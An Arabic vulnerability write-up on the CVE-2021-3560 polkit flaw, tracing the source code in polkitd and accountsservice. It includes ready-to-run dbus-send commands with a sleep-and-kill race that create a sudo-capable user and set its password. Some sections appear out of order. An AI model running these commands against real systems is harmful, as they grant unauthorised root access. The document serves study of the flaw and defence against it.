
تحليل CVE-2021-3560
[toc]
رقم الثغرة: CVE-2021-3560
تقييم الثغرة:
المنتج المتأثر: linux PolKit (polkitd)
نطاق التأثير: تم إدخاله في الكود المصدري 0.113؛ https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html
شروط الاستغلال: محلي على لينكس؛ وجود dbus + polkitd
تأثير الاستغلال: تصعيد امتيازات محلي
الحصول على الكود المصدري:
apt source accountsserviceapt source dbusيمكن إعادة إنتاج الثغرة باستخدام الصورة الافتراضية لـ ubuntu-20.04.2: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso
أولاً، ننظر إلى الكود الذي توجد به المشكلة
/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync
static void
on_retrieved_unix_uid_pid (GObject *src,
GAsyncResult *res,
gpointer user_data)
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error);
if (!v)
{
data->caught_error = TRUE; // تعيين بت الخطأ بعد الفشل لسبب ما
}
else
{
··· ···// معالجة البيانات عند النجاح
}
··· ···
}
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; // تم تهيئة data إلى 0
··· ···
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // دالة الاسترجاع
&data);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // دالة الاسترجاع
&data);
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); // انتظار اكتمال تنفيذ الناقل، ومعالجة uid و pid كلاهما أو حدوث استثناء
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; // TRUE في جميع الأحوال؟
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
}
في دالة polkit_system_bus_name_get_creds_sync، تقوم هذه الدالة بالمصادقة على بعض الطلبات (سيتم شرح المنطق المحدد لاحقًا). يتم استدعاء طريقتي GetConnectionUnixUser و GetConnectionUnixProcessID تباعًا عبر ناقل org.freedesktop.DBus. هاتان الطريقتان مقدمة من ناقل org.freedesktop.DBus، وتقومان بالحصول على PID العملية الطالبة ومعرف المستخدم (UID)، ثم يتم تمريرهما إلى دالة الاسترجاع on_retrieved_unix_uid_pid لمعالجة البيانات المرتجعة. بعد ذلك، يتم حظر التنفيذ حتى تنتهي العملية على جانب الناقل.
يمكن ملاحظة من دالة on_retrieved_unix_uid_pid أنه يتم تعيين ما إذا كان هناك استثناء (error?) بناءً على نتيجة التنفيذ من جانب الناقل، ثم يتم تعيين بت الاستثناء. إذا تم التنفيذ بنجاح، يتم إرجاع معرف المستخدم أو PID العملية بشكل طبيعي. ولكن في دالة polkit_system_bus_name_get_creds_sync، بعد الحظر وانتظار نتيجة الناقل (العلامة على اكتمال المعالجة هي أن كلاً من UID و PID تمت معالجتهما أو حدوث استثناء). بمعنى آخر، من الناحية المنطقية، هناك ثلاث نتائج محتملة لعودة الناقل: الحصول على UID 0 (مستخدم مميز)؛ الحصول على UID غير 0 (مستخدم عادي)؛ استثناء. ولكن في المعالجة اللاحقة، لا يتم معالجة الاستثناء، بل يتم تعيين out_uid الذي سيتم إرجاعه إلى الطبقة العليا مباشرةً إلى data.uid الذي عاد من الناقل، ثم يتم تعيين ret إلى TRUE مباشرةً:
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); // انتظار اكتمال تنفيذ الناقل، ومعالجة uid و pid كلاهما أو حدوث استثناء
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; // TRUE في جميع الأحوال؟
لكن تم تجاهل حالة واحدة وهي أن تنفيذ ناقل DBUS قد يؤدي إلى استثناء، مما يتسبب في قيام دالة الاسترجاع بتعيين بت الاستثناء والعودة دون معالجة بيانات data، بينما data مهيأة بـ 0، مما يؤدي إلى تعيين out_uid لاحقًا إلى 0، وهو المستخدم المميز.
فأين تُستخدم دالة polkit_system_bus_name_get_creds_sync التي بها مشكلة؟
العملية التي يوجد بها الخلل هي عملية polkitd:
polkit عبارة عن مجموعة أدوات على مستوى التطبيق، والتي تحقق الاتصال بين العمليات ذات الأولويات المختلفة من خلال تعريف ومراجعة قواعد الإذن: يتركز قرار التحكم في إطار موحد، ليحدد ما إذا كانت العملية منخفضة الأولوية لها الحق في الوصول إلى عملية عالية الأولوية.
باختصار، هذه عملية جذرية تعمل في الخلفية، وتقوم بتقييم الإذن للعمليات الأخرى منخفضة الصلاحية عند الوصول إلى الوظائف التي توفرها العمليات عالية الصلاحية من خلال الاتصال بين العمليات. نظرًا لأن هذه العملية ستعيد التشغيل إذا تم إرفاق gdb بها، يمكننا فقط تحليلها على مستوى الكود المصدري لإيجاد مسار تشغيل الدالة المخترقة:
يستخدم polkitd بشكل كبير إطار عمل gio DBUS للاتصال بين العمليات، يمكنك الاطلاع على الدليل مسبقًا، والتركيز على بعض الدوال المهمة وما إلى ذلك.
الآن نقوم بتحليل مسار تشغيل الثغرة في polkitd:
أولاً هي main:
polkit-0.113\src\polkitbackend\polkitd.c : 155 : main
int
main (int argc,
char **argv)
{
··· ···
··· ···
loop = g_main_loop_new (NULL, FALSE);
sigint_id = g_unix_signal_add (SIGINT,
on_sigint,
NULL);
name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
"org.freedesktop.PolicyKit1", // تسجيل اسم ناقل
G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
(opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
on_bus_acquired, // دالة الاسترجاع عند الوصول إلى هذا الناقل
on_name_acquired,
on_name_lost,
NULL,
NULL);
g_print ("Entering main event loop\n");
g_main_loop_run (loop); // بدء الحلقة
··· ···
··· ···
}
أولاً يتم تسجيل ناقل باسم org.freedesktop.PolicyKit1، ثم هناك ثلاث دوال استرجاع، نركز على on_bus_acquired، والتي سيتم استدعاؤها عند الوصول إلى الناقل.
في دالة on_bus_acquired، يتم استدعاء دالة تسجيل نوع تسمى polkit_backend_authority_register مباشرةً.
أي أنه عندما تستدعي دالة أخرى طريقة CheckAuthorization على الناقل org.freedesktop.PolicyKit1.Authority، في ظل سيناريو معين (التحكم في إرجاع dbus للاستثناء عند الحصول على UID الطالب) سيؤثر ذلك على صحة مصادقة الهوية لهذه الطريقة. نظرًا لأنه يمكننا رؤية الإجابة مباشرةً، فإن طريقة استغلال الثغرة هي استخدام account-daemon
أولاً، نستشهد بهذه الصورة من مؤلف الـ exp:
شرح الأشياء في الصورة:
polkitd و dbus-daemon و account-daemon هي عمليات خدمة خلفية تعمل بصلاحيات الجذر.dbus-daemon هو "موجه" للاتصال بين العمليات، وهو جوهر إطار عمل اتصال GIO DBUS المذكور أعلاه. فهمي هو أن العمليات المختلفة يمكنها تسجيل أسماء ناقلات هنا، والعمليات التي تريد التواصل معك يمكنها الوصول إلى اسم الناقل والواجهة واسم الطريقة لاستدعاء الدوال في عمليتك. الدوال المذكورة أعلاه لعملية polkitd يتم تسجيلها في dbus لانتظار استدعاء العمليات الأخرى.account-daemon يشبه polkitd، حيث يسجل ناقل org.freedesktop.Accounts في dbus، ويوفر سلسلة من الطرق المتعلقة بالحسابات، مثل إضافة المستخدمين وتعيين كلمات المرور التي سيتم استخدامها لاحقًا. وتقوم هذه العملية بإجراء التحقق من الإذن للمستخدم قبل عمليات مثل إضافة المستخدم، وطريقة التحقق المستخدمة هي بالضبط طريقة الناقل المخترقة CheckAuthorization التي توفرها عملية polkitd المذكورة أعلاه.dbus-send هو أمر، يوفر ناقل dbus بعض واجهات البرمجة للاتصال بين العمليات، كما يوفر أوامر سطر أوامر، يمكنها إرسال رسائل إلى عمليات محددة لاستدعاء دوالهم.إذن، تسلسل أحداث استغلال الثغرة بالكامل هو:
dbus-send لإرسال رسالة إلى عملية account-daemon لإنشاء مستخدم إداري (الطريقة CreateUser التي توفرها هذه العملية تضيف مستخدمًا إداريًا افتراضيًا)، ولكن لا يمكننا إتمام هذه العملية بهويتنا الحالية.account-daemon، ستقوم account-daemon بطلب التحقق من الصلاحية من عملية polkitd للموافقة على عملية إضافة المستخدم هذه.polkitd من الناقل عن صلاحية مستخدم العملية الطالبة ورقم العملية.
account-daemon لها إلى أن يستعلم polkitd عن صلاحية العملية الطالبة، قتل العملية الطالبة (أي عملية dbus-send).polkitd تتعامل مع الاستثناء على أنه نجاح افتراضيًا، ثم تعتبر UID الافتراضي للمستخدم هو 0 (أي مستخدم مميز). مما يؤدي إلى تشغيل الثغرة والسماح بالعملية.نظرًا لأن dbus-daemon هو مجرد عملية وسيطة، فلن نحلله بالتفصيل، لكننا سنحلل هنا عملية account-daemon، وهي العملية الأساسية في عملية الاستغلال. هذه العملية أيضًا تستخدم إطار GIO DBUS، وسنقوم بتحليل بسيط لبعض النقاط المهمة فيها. أولاً، ننظر إلى:
accountsservice-0.6.45\src\daemon.c : 90
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);
G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
iface->handle_create_user = daemon_create_user;
iface->handle_delete_user = daemon_delete_user;
··· ···
}
هنا يتم استخدام الماكرو G_DEFINE_TYPE_WITH_CODE و G_IMPLEMENT_INTERFACE لتنفيذ دالة daemon_accounts_accounts_iface_init. معنى هذين الماكروين هو أنه سيتم تنفيذ دالة daemon_accounts_accounts_iface_init في وقت ما. في دالة daemon_accounts_accounts_iface_init، يتم تسجيل طريقة create_user. ننظر مباشرةً إلى تنفيذ دالة daemon_create_user:
accountsservice-0.6.45\src\daemon.c : 1099
static gboolean
daemon_create_user (AccountsAccounts *accounts,
GDBusMethodInvocation *context,
const gchar *user_name,
const gchar *real_name,
gint account_type)
{
··· ···
data = g_new0 (CreateUserData, 1);
data->user_name = g_strdup (user_name);
data->real_name = g_strdup (real_name);
data->account_type = account_type;
daemon_local_check_auth (daemon,
NULL,
"org.freedesktop.accounts.user-administration",
TRUE,
daemon_create_user_authorized_cb, // دالة الاسترجاع
context,
data,
(GDestroyNotify)create_data_free);
return TRUE;
}
في daemon_create_user، يتم استدعاء دالة daemon_local_check_auth للتحقق من صلاحية المستخدم الطالب للسماح بالعملية. بعد نجاح الاستدعاء، سيتم استدعاء دالة الاسترجاع daemon_create_user_authorized_cb. ننظر أولاً إلى دالة التحقق daemon_local_check_auth:
accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth
void
daemon_local_check_auth (Daemon *daemon,
User *user,
const gchar *action_id,
gboolean allow_interaction,
AuthorizedCallback authorized_cb,
GDBusMethodInvocation *context,
gpointer authorized_cb_data,
GDestroyNotify destroy_notify)
{
··· ···
polkit_authority_check_authorization (daemon->priv->authority,
subject,
action_id,
NULL,
flags,
NULL,
(GAsyncReadyCallback) check_auth_cb,
data);
··· ···
}
هنا يتم استدعاء دالة polkit_authority_check_authorization للتحقق من الصلاحية. polkit_authority_check_authorization هي دالة مكتبة يوفرها libpolkit-gobject-1.so.0، والتي تقوم مباشرةً باستدعاء طريقة CheckAuthorization على الناقل org.freedesktop.PolicyKit1.Authority في عملية polkitd التي تم تحليلها أعلاه للتحقق من الصلاحية. بعد نجاح التحقق، يتم استدعاء دالة الاسترجاع daemon_create_user_authorized_cb:
accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb
static void
daemon_create_user_authorized_cb (Daemon *daemon,
User *dummy,
GDBusMethodInvocation *context,
gpointer data)
{
··· ···
argv[0] = "/usr/sbin/adduser";
argv[1] = "--quiet";
argv[2] = "--disabled-login";
argv[3] = "--gecos";
argv[4] = cd->real_name;
argv[5] = cd->user_name;
argv[6] = NULL;
error = NULL;
if (!spawn_with_login_uid (context, argv, &error)) { // إضافة المستخدم
throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
g_error_free (error);
return;
}
if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
add_user_to_group (context, cd->user_name, "sudo"); // إضافة المستخدم إلى مجموعة sudo
}
··· ···
}
هنا واضح جدًا، بعد نجاح إضافة المستخدم، يتم إضافة المستخدم مباشرةً إلى مجموعة مستخدمي sudo، لذلك بعد إضافة المستخدم في نهاية الـ exp، يمكن التبديل إلى root باستخدام sudo su root.
بعد ذلك، ننظر إلى عرض توضيحي يدوي لاستغلال الثغرة.
استخدام مستخدم عادي مباشرةً لأمر dbus-send لإرسال طلب إنشاء مستخدم إلى account-daemon:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
سيظهر هذا الطلب نافذة لإدخال كلمة المرور في أنظمة التشغيل ذات الواجهة الرسومية:
في محطة طرفية مثل ssh سيفشل مباشرةً:

وفقًا لفكرة استغلال الثغرة أعلاه، أولاً ننظر إلى وقت تنفيذ هذا الأمر:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

ثم نختار قتل العملية في منتصف وقت تنفيذ هذا الأمر تقريبًا، مع احتمالية تشغيل الثغرة وإنشاء المستخدم بنجاح:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!
يمكن أن ينجح بعد عدة محاولات:

وهو أيضًا ضمن مجموعة مستخدمي sudo:

ثم بنفس الطريقة نضيف له كلمة مرور:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!
يجب تعديل User1002 وفقًا لـ UID الخاص بالمستخدم الذي تم إنشاؤه حديثًا. كلمة المرور تستخدم قيمة التجزئة. ثم التبديل إلى المستخدم.
لم يتم كتابة الـ exp بالتفصيل هنا، فهو في الأساس أتمتة للأوامر أعلاه. الـ exp المكتوب بلغة C على github يعمل أيضًا بشكل صحيح.
تحديث إلى أحدث إصدار
الإفصاح عن الثغرة (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560
m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502
في دالة polkit_backend_authority_register، يتم تسجيل كائن واجهة باسم org.freedesktop.PolicyKit1.Authority، ويتم تمرير جدول دوال استرجاع باسم server_vtable. نقطة تشغيل الثغرة موجودة في إحدى دوال هذا الجدول:
policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable
static const GDBusInterfaceVTable server_vtable =
{
server_handle_method_call, // دالة الاسترجاع
server_handle_get_property,
NULL, /* server_handle_set_property */
};
static void
server_handle_method_call (GDBusConnection *connection,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data)
{
Server *server = user_data;
PolkitSubject *caller;
caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
if (g_strcmp0 (method_name, "EnumerateActions") == 0)
server_handle_enumerate_actions (server, parameters, caller, invocation);
else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
server_handle_check_authorization (server, parameters, caller, invocation); // مسار الدالة المخترقة هنا
··· ···
··· ···
}
عندما تستدعي عملية أخرى طريقة CheckAuthorization عبر الناقل، سيتم استدعاء دالة server_handle_check_authorization.
في دالة server_handle_check_authorization، يتم استدعاء polkit_backend_authority_check_authorization.
في دالة polkit_backend_authority_check_authorization، يتم استدعاء klass->check_authorization عبر دالة الاسترجاع، وهذه الدالة المسجلة هي polkit_backend_interactive_authority_check_authorization:
polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization
void
polkit_backend_authority_check_authorization (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data)
{
··· ···
if (klass->check_authorization == NULL)
{
··· ···
}
else
{
klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // المسجل هو polkit_backend_interactive_authority_check_authorization
}
}
authority_class->check_authorization = /
polkit_backend_interactive_authority_check_authorization; // تم التهيئة في مكان آخر
بعد ذلك يمكننا التتبع بالترتيب: check_authorization_sync
polkit_backend_session_monitor_get_user_for_subject
دالة الثغرة: polkit_system_bus_name_get_user_sync
dbus-send مما تسبب في إبلاغ الناقل باستثناء، إلا أن account-daemon لن يتأثر. بعد أن يستلم account-daemon الرسالة، لن يهتم بعد الآن بوجود العملية الطالبة.account-daemon رد polkitd بالموافقة على الإضافة، يقوم بإنشاء المستخدم، مكملاً عملية الاستغلال.